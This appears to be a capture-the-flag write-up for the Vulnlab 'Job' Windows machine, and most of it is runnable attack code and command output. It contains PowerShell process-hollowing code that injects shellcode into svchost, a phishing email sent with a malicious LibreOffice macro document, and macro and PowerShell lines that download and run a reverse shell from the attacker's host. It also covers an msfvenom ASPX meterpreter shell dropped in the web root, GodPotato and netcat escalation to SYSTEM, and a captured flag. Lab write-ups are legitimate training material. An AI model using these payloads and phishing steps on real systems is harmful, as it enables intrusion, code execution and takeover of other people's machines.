$startupInformationType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.NativeMethods+STARTUPINFO'
$processInformationType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.SafeNativeMethods+PROCESS_INFORMATION'
# Obtain the required functions via reflection: GetModuleHandle, GetProcAddress and CreateProcess
$GetModuleHandle = $unsafeMethodsType.GetMethod('GetModuleHandle')
$GetProcAddress = $unsafeMethodsType.GetMethod('GetProcAddress', [reflection.bindingflags]'Public,Static', $null, [System.Reflection.CallingConventions]::Any, @([System.IntPtr], [string]), $null);
$CreateProcess = $nativeMethodsType.GetMethod("CreateProcess")
# Obtain the function addresses of the required hollowing functions
$ResumeThreadAddr = Get-Function "kernel32.dll" "ResumeThread"
$ReadProcessMemoryAddr = Get-Function "kernel32.dll" "ReadProcessMemory"
$WriteProcessMemoryAddr = Get-Function "kernel32.dll" "WriteProcessMemory"
$ZwQueryInformationProcessAddr = Get-Function "ntdll.dll" "ZwQueryInformationProcess"
# Create the delegate types to call the previously obtain function addresses
$ResumeThread = Get-Delegate $ResumeThreadAddr @([IntPtr])
$WriteProcessMemory = Get-Delegate $WriteProcessMemoryAddr @([IntPtr], [IntPtr], [Byte[]], [Int32], [IntPtr])
$ReadProcessMemory = Get-Delegate $ReadProcessMemoryAddr @([IntPtr], [IntPtr], [Byte[]], [Int], [IntPtr]) ([Bool])
$ZwQueryInformationProcess = Get-Delegate $ZwQueryInformationProcessAddr @([IntPtr], [Int], [Byte[]], [UInt32], [UInt32]) ([Int])
# Instantiate the required structures for CreateProcess and use them to launch svchost.exe
$startupInformation = $startupInformationType.GetConstructors().Invoke($null)
$processInformation = $processInformationType.GetConstructors().Invoke($null)
$cmd = [System.Text.StringBuilder]::new("C:\\Windows\\System32\\svchost.exe")
$CreateProcess.Invoke($null, @($null, $cmd, $null, $null, $false, 0x4, [IntPtr]::Zero, $null, $startupInformation, $processInformation))
# Obtain the required handles from the PROCESS_INFORMATION structure
$hThread = $processInformation.hThread
$hProcess = $processInformation.hProcess
# Create a buffer to hold the PROCESS_BASIC_INFORMATION structure and call ZwQueryInformationProcess
$processBasicInformation = [System.Byte[]]::CreateInstance([System.Byte], 48)
$ZwQueryInformationProcess.Invoke($hProcess, 0, $processBasicInformation, $processBasicInformation.Length, 0)
# Locate the image base address. The address of the PEB is the second element within the PROCESS_BASIC_INFORMATION
# structure (e.g. offset 0x08 within the $processBasicInformation buffer on x64). Within the PEB, the base image
# addr is located at offset 0x10.
$imageBaseAddrPEB = ([IntPtr]::new([BitConverter]::ToUInt64($processBasicInformation, 0x08) + 0x10))
# Use ReadProcessMemory to read the required part of the PEB. We allocate already a buffer for 0x200
# bytes that we will use later on. From the PEB we actually only need 0x08 bytes, as $imageBaseAddrPEB
# already points to the correct memory location. We parse the obtained 0x08 bytes as Int64 and IntPtr.
$memoryBuffer = [System.Byte[]]::CreateInstance([System.Byte], 0x200)
$ReadProcessMemory.Invoke($hProcess, $imageBaseAddrPEB, $memoryBuffer, 0x08, 0)
$imageBaseAddr = [BitConverter]::ToInt64($memoryBuffer, 0)
$imageBaseAddrPointer = [IntPtr]::new($imageBaseAddr)
# Now that we have the base address, we can read the first 0x200 bytes to obtain the PE file format header.
# The offset of the PE header is at 0x3c within the PE file format header. Within the PE header, the relative
# entry point address can be found at an offset of 0x28. We combine this with the $imageBaseAddr and have finally
# found the non relative entry point address.
$ReadProcessMemory.Invoke($hProcess, $imageBaseAddrPointer, $memoryBuffer, $memoryBuffer.Length, 0)
$peOffset = [BitConverter]::ToUInt32($memoryBuffer, 0x3c) # PE header offset
$entryPointAddrRelative = [BitConverter]::ToUInt32($memoryBuffer, $peOffset + 0x28) # Relative entrypoint
$entryPointAddr = [IntPtr]::new($imageBaseAddr + $entryPointAddrRelative) # Absolute entrypoint
# Overwrite the entrypoint with shellcode and resume the thread.
$WriteProcessMemory.Invoke($hProcess, $entryPointAddr, $SHELLCODE, $SHELLCODE.Length, [IntPtr]::Zero)
$ResumeThread.Invoke($hThread)
# Close powershell to remove it as the parent of svchost.exe
exit
Set a local web server:
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Set our penelope listener:
$ penelope 443 -i tun0
[+] Listening for reverse shells on 10.8.4.253:443
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
Send our phishing email with our malicious libre office document:
$ swaks --to career@job.local --from "candidate2@pwned.com" --header "CV bis" --body "Impressive CV for a good new hire opportunity" --attach-type application/octet-stream --attach @cv2.odt --server job.local --port 25 --timeout 25s
=== Trying job.local:25...
=== Connected to job.local.
<- 220 JOB ESMTP
-> EHLO CountZero
<- 250-JOB
<- 250-SIZE 20480000
<- 250-AUTH LOGIN
<- 250 HELP
-> MAIL FROM:<candidate2@pwned.com>
<- 250 OK
-> RCPT TO:<career@job.local>
<- 250 OK
-> DATA
<- 354 OK, send.
-> Date: Mon, 17 Feb 2025 19:59:35 +0900
-> To: career@job.local
-> From: candidate2@pwned.com
-> Subject: test Mon, 17 Feb 2025 19:59:35 +0900
-> Message-Id: <20250217195935.041635@CountZero>
-> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
-> MIME-Version: 1.0
-> Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_41635"
-> CV bis
->
-> ------=_MIME_BOUNDARY_000_41635
-> Content-Type: text/plain
->
-> Impressive CV for a good new hire opportunity
-> ------=_MIME_BOUNDARY_000_41635
-> Content-Type: application/octet-stream; name="cv2.odt"
-> Content-Description: cv2.odt
-> Content-Disposition: attachment; filename="cv2.odt"
-> Content-Transfer-Encoding: BASE64
->
-> UEsDBBQAAAAAACqeUVq092jSgwMAAIMDAAAMAAAAbWFuaWZlc3QucmRmPD94bWwgdmVyc2lvbj0i
-> MS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3Lncz
...
-> AAC0gYRwAABUaHVtYm5haWxzL3RodW1ibmFpbC5wbmdQSwECFAMUAAAAAAAqnlFaIewt0yUEAAAl
-> BAAAFQAAAAAAAAAAAAAAtIFQcQAATUVUQS1JTkYvbWFuaWZlc3QueG1sUEsFBgAAAAAIAAgA2gEA
-> AKh1AAAAAA==
->
-> ------=_MIME_BOUNDARY_000_41635--
->
->
-> .
<- 250 Queued (1.703 seconds)
-> QUIT
<- 221 goodbye
=== Connection closed with remote host.
OR we can also create from scratch our payload creating a Libre Office .odt document, then following https://0xdf.gitlab.io/2020/02/01/htb-re.html to make a malicious macro that will run a system command upon opening it.
The payload I am going to use is like below:
REM ***** BASIC *****
Sub Main
Shell("cmd /c powershell ""iex(new-object net.webclient).downloadstring('http://10.8.4.253/rshell.txt')""")
End Sub
Then few moment later our PoSH revshell is downloaded:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.97.227 - - [17/Feb/2025 20:13:30] "GET /rshell2.txt HTTP/1.1" 200 -
Then we got our shell as Jack:
[+] Logging to /home/user/.penelope/job.vl~10.10.97.227/job.vl~10.10.97.227.log 📜
C:\Program Files\LibreOffice\program>
job\jack.black
Privilege escalation
We check his privileges:
meterpreter > shell
Process 3340 created.
Channel 2 created.
Microsoft Windows [Version 10.0.20348.350]
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\LibreOffice\program>cd c:\users\jack.black\desktop
cd c:\users\jack.black\desktop
c:\Users\jack.black\Desktop>whoami /all
whoami /all
USER INFORMATION
----------------
User Name SID
============== =============================================
job\jack.black S-1-5-21-3629909232-404814612-4151782453-1000
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
JOB\developers Alias S-1-5-21-3629909232-404814612-4151782453-1001 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
We can see that jack is a member of the
developergroup
But seems not much…
After more enumeration we found that we can write under the web root folder:
PS C:\inetpub\wwwroot> echo "test" > test.txt
echo "test" > test.txt
PS C:\inetpub\wwwroot> dir
dir
Directory: C:\inetpub\wwwroot
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/10/2021 8:52 PM aspnet_client
d----- 11/9/2021 9:24 PM assets
d----- 11/9/2021 9:24 PM css
d----- 11/9/2021 9:24 PM js
-a---- 11/10/2021 9:01 PM 298 hello.aspx
-a---- 11/7/2021 1:05 PM 3261 index.html
-a---- 2/17/2025 12:36 PM 14 test.txt
Escalate to APPPOOL\DefaultAppPool
Since the web server is running as service account so let’s go to get a shell as this service account.
Let’s prepare our aspx shell using msfvenom:
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.8.4.253 LPORT=443 -f aspx -o revshell.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 850 bytes
Final size of aspx file: 5380 bytes
Saved as: revshell.aspx
Upload it to the webroot folder on the target:
PS C:\inetpub\wwwroot> iwr http://10.8.4.253/revshell.aspx -o revshell.aspx
iwr http://10.8.4.253/revshell.aspx -o revshell.aspx
PS C:\inetpub\wwwroot> ls
ls
Directory: C:\inetpub\wwwroot
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/10/2021 8:52 PM aspnet_client
d----- 11/9/2021 9:24 PM assets
d----- 11/9/2021 9:24 PM css
d----- 11/9/2021 9:24 PM js
-a---- 11/10/2021 9:01 PM 298 hello.aspx
-a---- 11/7/2021 1:05 PM 3261 index.html
-a---- 2/17/2025 12:44 PM 5380 revshell.aspx
-a---- 2/17/2025 12:36 PM 14 test.txt
Then trigger it:
$ curl http://job.local/revshell.aspx
Then we got a shell as the IIS service account APPPOOL\DefaultAppPool:
[!] https://10.8.4.253:443 handling request from 10.10.97.227; (UUID: rogwzbnu) Without a database connected that payload UUID tracking will not work!
[*] https://10.8.4.253:443 handling request from 10.10.97.227; (UUID: rogwzbnu) Staging x64 payload (204892 bytes) ...
[!] https://10.8.4.253:443 handling request from 10.10.97.227; (UUID: rogwzbnu) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 2 opened (10.8.4.253:443 -> 10.10.97.227:61719) at 2025-02-17 21:46:20 +0900
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/misc/openoffice_document_macro) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows JOB\jack.black @ JOB 10.8.4.253:443 -> 10.10.97.227:60707 (10.10.97.227)
2 meterpreter x64/windows IIS APPPOOL\DefaultAppPool @ JOB 10.8.4.253:443 -> 10.10.97.227:61719 (10.10.97.227)
msf6 exploit(multi/misc/openoffice_document_macro) > sessions 2
SeImpersonatePrivilege exploiting (Job_Root)
Check the priviles:
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeImpersonatePrivilege enabled
We can escalate privilege to system and grab the Job_Root flag:
meterpreter > getsystem
[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact <id> --timeout <value>
meterpreter > getsystem
[-] Already running as SYSTEM
meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > sessions
Usage: sessions [options] or sessions [id]
Interact with a different session ID.
OPTIONS:
-h, --help Show this message
-i, --interact <id> Interact with a provided session ID
meterpreter > shell
Process 1456 created.
Channel 1 created.
Microsoft Windows [Version 10.0.20348.350]
(c) Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
whoami
nt authority\system
c:\windows\system32\inetsrv>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
VL{010284acaa3fc923f51f68e8d78e5152}
If we don`t have a Meterpreter shell, we can also do it with GodPotato like:
powershell.exe -nop -w hidden -ep bypass -c iwr http://10.8.4.253/GodPotato-NET35.exe -o god.exe
god.exe -cmd "powershell.exe -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.8.4.253/rshell.txt');"
OR
PS C:\temp> iwr http://10.8.4.253/nc64.exe -outfile nc64.exe
PS C:\temp> iwr http://10.8.4.253/GodPotato-NET35.exe -outfile god.exe
PS C:\temp> .\god.exe -cmd "C:\temp\nc64.exe -e cmd.exe 10.8.4.253 443"
Extra
Challenge solved! Use this link to share it: https://api.vulnlab.com/api/v1/share?id=fb31d556-a3c8-45a1-a8bd-bd6f66f7724f

A tribute, a wink to Mr. Robot?

The cover image for this machine, as well as its scenario, strangely reminds me of a scene from the series Mr. Robot, Season 1 Episode 2 titled eps1.1_ones-and-zer0es.mpeg where Elliot watches as a group of men in suits sit at a round table with Tyrell Wellick at the head.
“Give a man a gun and he can rob a bank. Give a man a bank and he can rob the world” Tyrell says.
He explains that he likes this saying because it means that power resides with those who take it.
He tells Elliot this meeting may be illegal, so he has gathered 11 lawyers, and offers Elliot to be the head of Cybersecurity for E-Corp. Elliot asks to think about it.
Tyrell dismisses the lawyers. Alone, he tells Elliot that he is on his way to becoming CTO and would like to thank the hackers who took down his predecessor, Terry Colby.
He informs him that E-Corp will be internalizing their network by the end of quarter, so Allsafe will be cut loose and go out of business, thus Elliot should be with him.
Elliot declines.
LibreOffice Macro RCE from scratch
From https://dan-feliciano.com/2024/07/14/job/
At this point, the attack path is relatively clear. Assuming that we have nothing else to exploit on the webpage aside from the email, it seems that SMTP is the main part of the attack path. We have an email that we can send documents to, so the first part of this should be phishing.
Given what the webpage is telling us, it should only be accepting LibreOffice documents with a .odt extension. I’m assuming that the backend (since this is a lab) is going to immediately open our document when we send it to view its contents.
This phishing portion is an exploit directly targeted at LibreOffice - as you can essentially get RCE directly from a LibreOffice macro. Macros can be used to run shell commands directly upon opening the LibreOffice document, and are one of the (if not, the most) commonly seen vulnerability in LibreOffice.
We can set up LibreOffice Writer locally to create this macro, to which I used my Windows host to create this. LibreOffice has been difficult to set up on my Kali host in my past experiences, so I decided to opt for my Windows machine for this. You can find the installation page here.
Once everything is installed and ready to go, we should be able to open our LibreOffice Writer editor.

I made a short cover letter that is mostly fake, just to have some fun with this lab. I also saved this as a .odt file named daz_smith_CV.odt.
The front text doesn’t really matter as to what we put on it, as the main part of this exploit consists within the Macros section of LibreOffice.
You can access this by going to Tools > Macros > Organize Macros > Macros. Select on the name of your document and click on New. We’ll name this macro AO for “AutoOpen”.

This will spawn a LibreOffice Basic editor with your macro pane on the right side of the application. The foundation for our macro is ready, all we need to do is create a Shell macro so that LibreOffice can execute commands from this macro.
This forum page details how we can set up shell macros, they are relatively simple and involve wrapping our commands inside a Shell() call. We’ll also be looking to execute a reverse shell, to which I opted to use a Base64 encoded Powershell reverse shell crafted from revshells.com.

In order to make this macro execute upon opening the document, we’ll need to set the AutoOpen feature to open this document automatically. We can access this (from the LibreOffice Writer window, not the Macro window) in Tools > Customize. Select OpenDocument from the Events list and select the macro that we just created.
From here, our document should be ready to exploit. You can test that this works by reopening the document, and a PowerShell pane should be seen briefly as soon as you open it. Since we’re on our Windows host and don’t have a listener running, this won’t do anything - though you’ll know that it should be working.
With that, we’ll transfer this back to our Kali system and set up a netcat listener on the port that our PowerShell reverse shell going to call back to. In my case, I’ll do nc -lvnp 9001.
